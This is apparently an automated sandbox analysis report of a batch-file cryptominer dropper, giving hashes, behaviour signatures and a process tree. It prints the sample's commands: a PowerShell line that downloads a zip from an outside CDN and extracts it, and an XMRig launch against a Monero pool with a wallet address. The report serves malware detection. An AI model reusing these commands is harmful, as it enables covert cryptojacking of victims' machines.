Analysis

  • max time kernel
    1805s
  • max time network
    1824s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-en
  • resource tags

    arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13/10/2023, 19:57

General

  • Target

    tesy - Copy (5).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4132
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4880

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          a7f22e7cc2a2ba21765e66916765ef6c

          SHA1

          067fdaf373a4a29d6ad45ff8358249c92021e4bc

          SHA256

          fe5b87f3759a33a03355da9fdd7e09b7d9ca2d01f193174e3ed827847ae69200

          SHA512

          d08e83511475267c2b3f005f587312e4034b89643fc937ca9cf6f21fa5b91e592052fe0b9daf49e5f521463d2af1983111ddaa9a61f3fd4b5a6e7173e7d9f5f7

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a5h2iuog.rah.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\test.zip

          Filesize

          3.2MB

          MD5

          3238c0d25d84b6f0bb645bbb29cdbf61

          SHA1

          11ae550c8a82c0793862c366b92072ad7e18befe

          SHA256

          b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

          SHA512

          d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          170B

          MD5

          78657df2e34e338ff135d3dde69177bf

          SHA1

          d5048a4270b7ba599e941d26d61bfa2e8da31fce

          SHA256

          9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

          SHA512

          f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/4132-38-0x000001F875DA0000-0x000001F875DB0000-memory.dmp

          Filesize

          64KB

        • memory/4132-37-0x000001F875DA0000-0x000001F875DB0000-memory.dmp

          Filesize

          64KB

        • memory/4132-99-0x00007FFFEF180000-0x00007FFFEFB6C000-memory.dmp

          Filesize

          9.9MB

        • memory/4132-62-0x000001F875DA0000-0x000001F875DB0000-memory.dmp

          Filesize

          64KB

        • memory/4132-76-0x000001F875D50000-0x000001F875D62000-memory.dmp

          Filesize

          72KB

        • memory/4132-89-0x000001F875CF0000-0x000001F875CFA000-memory.dmp

          Filesize

          40KB

        • memory/4132-35-0x00007FFFEF180000-0x00007FFFEFB6C000-memory.dmp

          Filesize

          9.9MB

        • memory/4880-131-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-137-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-171-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-103-0x0000020FE8B20000-0x0000020FE8B40000-memory.dmp

          Filesize

          128KB

        • memory/4880-104-0x0000020FE8B60000-0x0000020FE8BA0000-memory.dmp

          Filesize

          256KB

        • memory/4880-105-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-106-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-107-0x0000020FE8BA0000-0x0000020FE8BC0000-memory.dmp

          Filesize

          128KB

        • memory/4880-108-0x0000020FE8BC0000-0x0000020FE8BE0000-memory.dmp

          Filesize

          128KB

        • memory/4880-109-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-110-0x0000020FE8BA0000-0x0000020FE8BC0000-memory.dmp

          Filesize

          128KB

        • memory/4880-111-0x0000020FE8BC0000-0x0000020FE8BE0000-memory.dmp

          Filesize

          128KB

        • memory/4880-112-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-113-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-114-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-115-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-116-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-117-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-118-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-119-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-120-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-121-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-122-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-123-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-124-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-125-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-126-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-127-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-128-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-129-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-130-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-170-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-132-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-133-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-134-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-135-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-136-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-169-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-138-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-139-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-140-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-141-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-142-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-143-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-144-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-145-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-146-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-147-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-148-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-149-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-150-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-151-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-152-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-153-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-154-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-155-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-156-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-157-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-158-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-159-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-160-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-161-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-162-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-163-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-164-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-165-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-166-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-167-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4880-168-0x00007FF71A860000-0x00007FF71B363000-memory.dmp

          Filesize

          11.0MB

        • memory/4884-8-0x00007FFFEF180000-0x00007FFFEFB6C000-memory.dmp

          Filesize

          9.9MB

        • memory/4884-4-0x00000211D1EE0000-0x00000211D1F02000-memory.dmp

          Filesize

          136KB

        • memory/4884-7-0x00000211D2090000-0x00000211D2106000-memory.dmp

          Filesize

          472KB

        • memory/4884-9-0x00000211B9E10000-0x00000211B9E20000-memory.dmp

          Filesize

          64KB

        • memory/4884-14-0x00000211B9E10000-0x00000211B9E20000-memory.dmp

          Filesize

          64KB

        • memory/4884-25-0x00000211B9E10000-0x00000211B9E20000-memory.dmp

          Filesize

          64KB

        • memory/4884-30-0x00007FFFEF180000-0x00007FFFEFB6C000-memory.dmp

          Filesize

          9.9MB